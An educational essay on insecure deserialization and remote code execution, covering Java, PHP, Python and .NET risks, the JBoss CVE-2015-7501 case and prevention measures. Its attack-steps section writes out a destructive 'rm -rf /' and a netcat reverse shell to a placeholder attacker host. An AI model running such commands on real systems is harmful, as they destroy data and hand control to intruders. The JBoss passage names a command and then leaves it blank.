In the constantly evolving landscape of web application security, insecure deserialization is one of the most dangerous and misunderstood vulnerabilities. It sits firmly in the OWASP Top 10 due to its potential to result in Remote Code Execution (RCE) — one of the most critical types of cyberattacks. When exploited, insecure deserialization can grant an attacker full control over the targeted server, enabling them to exfiltrate data, install backdoors, or pivot into other systems in the network.
This essay explores the concept of serialization and deserialization, how insecure deserialization opens the door to RCE, common programming languages and libraries prone to this issue, exploitation techniques, the risks it presents, and a real-world example to illustrate its impact.
1. What Is Serialization and Deserialization?
Serialization
Serialization is the process of converting complex data structures — such as objects, lists, or dictionaries — into a format that can be easily stored or transmitted. This format can be binary, XML, JSON, YAML, or custom-designed.
For example, when a Java application needs to save the state of an object to a file or send it over the network, it serializes it into a byte stream.
Deserialization
Deserialization is the reverse process, where the serialized data is read and converted back into a usable object in memory.
Serialization is extremely common in:
-
Session management
-
Caching
-
Database storage
-
Inter-process communication
-
API interactions
2. What Is Insecure Deserialization?
Insecure deserialization occurs when an application accepts serialized data from untrusted sources and blindly deserializes it without verifying or sanitizing its contents. If the deserialized object contains malicious payloads, they are executed automatically during or after the deserialization process.
This makes insecure deserialization a critical security risk, as it can lead to:
-
Denial of service (DoS)
-
Access control bypass
-
Privilege escalation
-
Remote Code Execution (RCE)
3. How Deserialization Can Lead to Remote Code Execution
Understanding Object Construction and Class Instantiation
In many programming languages like Java, Python, PHP, and .NET, deserialization processes involve the automatic reconstruction of classes and object graphs, sometimes even executing methods (like constructors or magic methods) in the process.
Here’s where the danger lies:
-
If an attacker can send a crafted object to the server that contains malicious class properties or method invocations,
-
And if the application automatically deserializes that object,
-
The attacker-controlled code will be executed on the server.
This becomes Remote Code Execution — executing arbitrary code remotely, without needing credentials or file uploads.
Example: Java Deserialization with readObject()
In Java, the readObject() method is often overridden to perform additional processing during deserialization. If this method executes insecure logic or handles attacker-controlled data, it can be exploited.
Attackers can:
-
Send a malicious serialized object containing gadget chains (i.e., objects whose methods are called during deserialization),
-
Chain together classes from popular libraries like Apache Commons or Spring,
-
Trigger operations like command execution, file deletion, or socket creation.
4. Commonly Exploited Languages and Libraries
Java
-
Vulnerable Methods:
readObject(),readExternal(),ObjectInputStream -
Commonly Exploited Libraries: Apache Commons Collections, Spring, JBoss
-
Tools: ysoserial (automated Java gadget chain generator)
PHP
-
Vulnerable Mechanisms:
unserialize() -
Dangerous Magic Methods:
__wakeup(),__destruct(),__toString() -
If an object with malicious logic is unserialized, the method can execute commands.
Python
-
pickleandcPicklemodules are inherently insecure. -
If an attacker controls serialized pickled data, arbitrary code execution is trivial.
.NET
-
BinaryFormatter and SoapFormatter in .NET are vulnerable to unsafe deserialization.
-
Third-party deserialization libraries like Json.NET can be vulnerable if misconfigured.
5. Steps an Attacker Takes to Exploit Insecure Deserialization
Step 1: Identify a Deserialization Entry Point
The attacker looks for APIs or endpoints that accept serialized objects — often during session handling, file upload, or form submissions.
Step 2: Generate a Malicious Payload
The attacker crafts a serialized object containing a gadget chain that will execute arbitrary commands upon deserialization.
Step 3: Deliver the Payload
The payload is sent to the server via HTTP POST, WebSocket, file upload, or any other channel that processes serialized data.
Step 4: Gain Control
Once deserialized by the vulnerable system, the code in the payload is executed, resulting in:
-
Command execution (e.g.,
rm -rf /,nc -e /bin/sh attacker_ip) -
File modification or exfiltration
-
Access to sensitive environment variables or database connections
6. Real-World Example: JBoss and Java Deserialization Vulnerability
The Vulnerability
In 2015, security researchers discovered that JBoss application servers, which use Java serialization for remote management, were vulnerable to insecure deserialization via HTTP Invoker services.
Attackers could:
-
Send serialized objects via a POST request to the JBoss endpoint
/invoker/JMXInvokerServlet. -
The server used
ObjectInputStream.readObject()on the request payload. -
Crafted objects using classes from Apache Commons Collections were executed during deserialization.
The Exploit
The attacker used ysoserial to generate a malicious object that ran:
This downloaded and executed a reverse shell script on the target server.
Impact
-
Hundreds of enterprise servers were compromised.
-
Attackers installed web shells, created admin accounts, and exfiltrated data.
-
The vulnerability (CVE-2015-7501) received widespread attention and was exploited in the wild.
-
It highlighted how third-party libraries and legacy components introduce critical attack surfaces.
7. Other Real Incidents Involving Insecure Deserialization
-
Yahoo (2017): A vulnerability in PHP’s unserialize() led to remote code execution on their bug bounty system.
-
Ruby on Rails (2013): YAML deserialization flaw allowed attackers to execute arbitrary code on Rails applications using JSON as the medium.
-
Fortinet VPN (2020): Insecure deserialization in FortiOS led to multiple RCE vulnerabilities, leading to the compromise of thousands of enterprise VPNs.
8. How to Prevent Insecure Deserialization
1. Never Trust Serialized Data from Clients
-
Only deserialize trusted data from internal sources.
-
Avoid using serialization for storing session state client-side.
2. Use Safe Serialization Formats
-
Avoid formats that allow object references (like Java serialization, Python pickle).
-
Use safer alternatives like JSON, Protobuf, or flatbuffers, which don’t support executable logic.
3. Disable Dangerous Features
-
In Java, consider disabling
ObjectInputStream.resolveClass(). -
In PHP, avoid calling
unserialize()on user input. Usejson_decode()instead.
4. Use Application Firewalls
-
Web Application Firewalls (WAFs) can detect serialized payload patterns.
-
Block suspicious requests containing binary payloads or unusual headers.
5. Patch Third-party Libraries
-
Many deserialization attacks rely on known gadget chains in popular libraries.
-
Regularly audit and update dependencies to eliminate known gadget vectors.
6. Enforce Least Privilege
-
Even if deserialization is compromised, the code should run in a sandbox or with limited system privileges.
-
Use AppArmor, SELinux, or containerization for isolation.
7. Implement Monitoring and Logging
-
Log deserialization errors and stack traces.
-
Detect unexpected object types or access to system resources during runtime.
Conclusion
Insecure deserialization is one of the most subtle yet powerful attack vectors in modern application security. By exploiting the trust a system places in serialized objects, attackers can craft malicious payloads that execute arbitrary code, steal data, or take over entire systems.
The road to RCE through deserialization often starts with just one overlooked method — like an unserialize() function or readObject() call — and ends with complete server compromise. Vulnerabilities can lie dormant in third-party libraries, session handling logic, or legacy APIs, making them difficult to detect and patch.
The key to defense lies in secure coding practices, avoidance of unsafe deserialization altogether, and constant vigilance in how data is handled across services. As a super cybersecurity expert, I can firmly state: If your application deserializes untrusted input, it’s not a matter of if — but when — you will be breached.